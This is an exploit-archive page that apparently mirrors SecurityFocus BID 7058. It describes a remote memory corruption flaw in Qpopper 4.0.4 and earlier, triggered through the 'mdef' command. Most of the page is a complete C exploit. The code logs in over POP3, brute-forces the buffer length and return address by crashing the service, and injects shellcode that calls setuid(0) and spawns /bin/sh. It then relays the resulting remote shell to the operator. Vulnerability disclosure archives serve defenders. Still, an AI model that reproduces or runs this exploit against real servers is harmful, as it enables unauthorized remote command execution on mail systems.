Lucene search
K

Qpopper 4.0.x Remote Memory Corruption Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Qpopper 4.0.x Remote Memory Corruption Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/7058/info

A memory corruption vulnerability has been discovered in Qpopper version 4.0.4 and earlier. 

The vulnerability occurs when calling the 'mdef' command and a malicious macro name is supplied. By filling a target buffer with a malicious macro name it may be possible to trigger a procedure that would cause sensitive memory to be corrupted. The problem occurs due to the lack of NULL termination by the Qvsnprintf() function.

Successful exploitation of this issue may allow a remote attacker to execute arbitrary commands with the privileges of the Qpopper service.

#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char shellcode[] =
        "\x31\xc0"              /* xor %eax, %eax       */
        "\x31\xdb"              /* xor %ebx, %ebx       */
        "\xb0\x17"              /* mov $0x17, %al       */
        "\xcd\x80"              /* int  $0x80           */
        "\x31\xc0"              /* xor %eax, %eax       */
        "\x50"                  /* push %eax            */
        "\x68\x2f\x2f\x73\x68"  /* push $0x68732f2f     */
        "\x68\x2f\x62\x69\x6e"  /* push $0x6e69622f     */
        "\x89\xe3"              /* mov  %esp,%ebx       */
        "\x50"                  /* push %eax            */
        "\x53"                  /* push %ebx            */
        "\x89\xe1"              /* mov  %esp,%ecx       */
        "\x31\xd2"              /* xor  %edx,%edx       */
        "\xb0\x08"              /* mov  $0x8,%al        */
        "\x40\x40\x40"          /* inc  %eax  (3 times) */
        "\xcd\x80";             /* int  $0x80           */

#define BUFLEN 1006
#define RETLEN 148
#define RETADDR 0xbfffc004

void
shell_io (fd)
  int fd;
{
   fd_set fs;
   char buf[1000];
   int len;
   
   while (1) 
     {
	FD_ZERO(&fs);
	FD_SET(0, &fs);
	FD_SET(fd, &fs);
	select(fd+1, &fs, NULL, NULL, NULL);
	if (FD_ISSET(0, &fs))
	  {
	     if ((len = read(0, buf, 1000)) <= 0)
	       break;
	     write(fd, buf, len);
	  }
	else
	  {
	     if ((len = read(fd, buf, 1000)) <= 0)
	       break;
	     write(1, buf, len);
	  }
     }
}

   

void
send_mdef (fd, buflen, retaddr, rashift)
  int fd, buflen, rashift;
  unsigned int retaddr;
{
   char buf[2000], *bp;
   int i;

   memset(buf, 0x90, 2000);
   memcpy(buf, "mdef ", 5);
   memcpy(buf + buflen - RETLEN - strlen(shellcode),
	  shellcode, strlen(shellcode));
   bp = (char *) (((unsigned int)(buf + buflen - RETLEN)) & 0xfffffffc);
   for (i = 0; i < RETLEN; i += 4)
     memcpy(bp+i+rashift, &retaddr, sizeof(int));
   buf[buflen-2] = '(';
   buf[buflen-1] = ')';
   buf[buflen] = '\n';
   write(fd, buf, buflen+1);
   return;
}

int get_pop_reply (int fd, char *buf, int buflen)
{
   int len;
   fd_set s;
   struct timeval tv;
   
   len = read (fd, buf, buflen);
   FD_ZERO(&s);
   FD_SET(fd, &s);
   tv.tv_sec = tv.tv_usec = 0;
   select(fd+1, &s, NULL, NULL, &tv);
   if (FD_ISSET(fd, &s))
     len = read (fd, buf, buflen);
   
   if (len == 0)
     return 0;
   else if (!strncmp(buf, "-ERR ", 5))
     return -1;
   else
     return len;
}

int
open_pop(ip, user, pass)
  unsigned int ip;
  char *user, *pass;
{
   struct sockaddr_in peer;
   int fd, st = 0;
   char buf[1024];
   int state = 0;

   peer.sin_family = AF_INET;
   peer.sin_port = htons(110);
   peer.sin_addr.s_addr = ip;
   
   fd = socket(AF_INET, SOCK_STREAM, 0);
   if (fd < 0)
     {
	perror("socket");
	exit(EXIT_FAILURE);
     }
   printf("Connecting to %s... ", inet_ntoa(peer.sin_addr));
   fflush(stdout);
   if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) 
     {
	perror("connect");
	exit(EXIT_FAILURE);
     }
   printf("Logging in... ");
   fflush(stdout);
   while ((state < 3) && ((st = read(fd, buf, 1024)) > 0))
     {
	if (!strncmp(buf, "+OK ", 4)) 
	  {
	     switch (state)
	       {
		case 0:
		  snprintf(buf, 1024, "USER %s\n", user);
		  write(fd, buf, strlen(buf));
		  state++;
		  break;
		case 1:
		  snprintf(buf, 1024, "PASS %s\n", pass);
		  write(fd, buf, strlen(buf));
		  state++;
		  break;
		case 2:
		  state++;
		  break;
	       }
	  }
	else if (!strncmp(buf, "-ERR ", 5))
	  {
	     fprintf(stderr, "Could not log in. Did you provide a valid "
		     "username/password-combination?\n");
	     break;
	  }
	else
	  {
	     fprintf(stderr, "Invalid response from POP-Server:\n'%s'\n",
		     buf);
	     break;
	  }
     }
   if (state < 3) 
     {
	fprintf(stderr, "Exiting due to error...\n");
	exit(EXIT_FAILURE);
     }
   else if (st < 0)
     {
	perror("read");
	exit(EXIT_FAILURE);
     }
   else if (st == 0)
     {
	fprintf(stderr, "Peer closed...\n");
	exit(EXIT_FAILURE);
     }
   return fd;
}

int
main (argc, argv)
  int argc;
  char *argv[];
{
   char *host, *user, *pass;
   struct hostent *he;
   struct in_addr in;
   unsigned int ip, retaddr;
   int fd = -1, lbs, bs, ubs, found = 0, st;
   char buf[2000];
   
   if (4 != argc) 
     {
	fprintf(stderr, "Usage: %s <host> <user> <pass>\n\n", argv[0]);
	exit(EXIT_FAILURE);
     }
   
   host = argv[1];
   user = argv[2];
   pass = argv[3];
   if (!inet_aton(host, &in))
     {
	if (!(he = gethostbyname(host))) 
	  {
	     herror("Resolving host");
	     exit(EXIT_FAILURE);
	  }
	in.s_addr = *((unsigned int *)he->h_addr);
     }
   ip = in.s_addr;
   
   printf("Phase 1: Seeking buffer size\n");
   lbs = 0;
   bs = BUFLEN;
   ubs = 2000;
   while (!found && (bs != lbs) && (bs != ubs))
     {
	if (fd < 0)
	  fd = open_pop(ip, user, pass);
	printf("Trying %d bytes... ", bs);
	fflush(stdout);
	send_mdef(fd, bs, 0x01010101, 0);
	sleep(1);
	switch ((st = get_pop_reply(fd, buf, 2000)))
	  {
	   case 0:
	     found++;
	     close(fd);
	     fd = -1;
	     break;
	   case -1:
	     printf("too long.\n");
	     ubs = bs;
	     bs = (lbs+ubs)/2;
	     break;
	   default:
	     if (st < bs) 
	       {
		  printf("(slightly) too long.\n");
		  ubs = bs;
		  bs = (lbs+ubs)/2;
		  break;
	       }
	     else
	       {
		  printf("too short.\n");
		  lbs = bs;
		  bs = (lbs+ubs)/2;
		  break;
	       }
	  }
     }
   if (!found) 
     {
	printf("Couldn't find correct buffersize...\n");
	exit(EXIT_FAILURE);
     }
   printf("crash.\n");
   while (found) 
     {
	bs--;
	if (fd < 0)
	  fd = open_pop(ip, user, pass);
	printf("Trying %d bytes... ", bs);
	fflush(stdout);
	send_mdef(fd, bs, 0x01010101, 0);
	sleep(1);
	if (get_pop_reply(fd, buf, 2000))
	  {
	     printf("no crash\n");
	     bs += 4;
	     bs = bs & 0xfffffffc;
	     found = 0;
	  }
	else 
	  {
	     fd = -1;
	     printf("crash\n");
	  }
     }	     
   printf("Optimal buffer size: %d\n\n", bs);
   
   
   printf("Phase 2: Find return address\n");
   found = 0;
   retaddr = RETADDR;
   while (!found) 
     {
	if (fd < 0)
	  fd = open_pop(ip, user, pass);
	printf("Trying %x... ", retaddr);
	fflush(stdout);
	send_mdef(fd, bs, retaddr, 2);
	sleep(1);
	if (get_pop_reply(fd, buf, 2000))
	  {
	     printf("no crash\n");
	     found = 1;
	  }
	else
	  {
	     fd = -1;
	     retaddr += ((bs - RETLEN - 10 - strlen(shellcode)) & 0xffffff00);
	     printf("crash\n");
	  }
	if (retaddr > 0xbfffff00)
	  break;
     }
   if (!found) 
     {
	printf("Couldn't find a valid return address\n");
	exit(EXIT_FAILURE);
     }
   write(fd, "uname -a\n", 9);
   st = read(fd, buf, 100);
   buf[st] = '\0';
   if ((buf[0] != '-') && (buf[0] != '+'))
     {
	printf("We're in! (%s)\n", buf);
	shell_io(fd);
     }
   else
     printf("We failed...\n");
   
   exit(EXIT_FAILURE);
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation